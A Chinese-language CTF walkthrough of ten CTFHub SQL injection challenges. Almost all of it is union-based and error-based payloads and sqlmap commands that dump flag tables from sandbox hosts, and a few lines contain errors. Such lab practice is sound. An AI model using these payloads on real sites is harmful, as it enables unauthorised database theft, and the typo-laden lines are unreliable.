0x01整数型注入
# 本题告诉我们是整数型,所以就很容易了
# 判断字段数量
1 order by 2
# 判断回显点
-1 union select 1,2
# 查询全部数据库名
-1 union select 1,group_concat(schema_name) from information_schema.schemata
# 判断数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='sqli'
# 查看表中的字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where tables_schema='sqli' and table_name='flag'
# 查看数据库下的所有数据
0x02字符型注入
此题目和上一题相似,一个是整数型注入,一个是字符型注入。字符型注入就是注入字符串参数,判断回显是否存在注入漏洞。因为上一题使用手工注入查看题目 flag ,这里就不在使用手工注入,而是使用 sqlmap 工具完成此题 。
# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch
# 查询数据库中的表
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -D sqli --tables
# 查询数据库表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -T flag --columns
# 查询flag中的所有数据
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -T flag --dump
0x03报错注入
# 查看数据库名
1 union select updatexml(1,concat(0x7e,database(),0x7e),1);
# 查询数据库中的表名
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--
# 查询表中的字段名
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--
# 查询表中的所有数据
1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--
# 发现falg不完整,那么我们跳过第一个字符,然后输出全部
1 and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--
0x04布尔盲注
这道题我们还是用sqlmap来爆破,手工注入太费劲了
# 查看数据库名
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1" --current-db --batch
# 查看数据库下的表
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1" --current-db --batch -D sqli --tables
# 查看数据库中表的字段
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1" -T flag --columns
# 查看flag表中所有的数据
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1" -T flag --dump
0x05时间盲注
我们还是继续来用sqlmap来爆数据库。
# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" --current-db --batch
# 查看数据库的表名
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli --tables --batch
# 查看数据库中flag表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --columns --batch
# 查看当前数据库中的所有数据
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --dump --batch
0x06MySQL结构
# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --current-db --batch
# 查询数据库的表名
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -D sqli --tables
# 查看news表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -T gloizcxnee --columns
# 查看数据库中所有的数据
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -T gloizcxnee --dump
0x07Cookie注入
这道题我们需要通过抓包来对cookie进行操作,来完成任务
# 通过抓包查看回显位置
1 union select 1,2
# 查看数据库名
-1 union select 1,database()
# 查看数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
# 查询vccdkaqxbl表中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='vccdkaqxbl'
# 查询数据库中的数据
-1 union select 1,group_concat(llhlayzpdh) from sqli.vccdkaqxbl
0x08UA注入
# 通过抓包来爆数据库
-1 union select l,group_concat(schema_name) from information_schema.schemata
# 爆数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = sqli
# 爆数据库中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'bkoqrywcto'
# 爆数据库中所有的数据
-1 union select 1,group_concat(fhlxjtkdeg) from bkoqrywcto
0x09Refer注入
# 这道题我们是用hackbar来做
# 查询数据库
-1 union select 1,database()
# 查询数据库中的表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
# 查询表中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='wdpqevdhte'
# 查询数据库中的所有数据
-1 union select 1,group_concat(ihwswrmydd) from wdpqevdhte
0x0a过滤空格
这道题空格被过滤了,所以我们使用/**/来过滤
# 查询数据库名
-1/**/union/**/select/**/1,database()
# 查询数据库中的表名
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()
# 查询数据库中表的字段
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='cppznyhepg'
# 查询表中的所有数据
-1/**/union/**/select/**/1,group_concat(xcsvxeovdc)/**/from/**/cppznyhepg
好小子,离成功又近一步!!!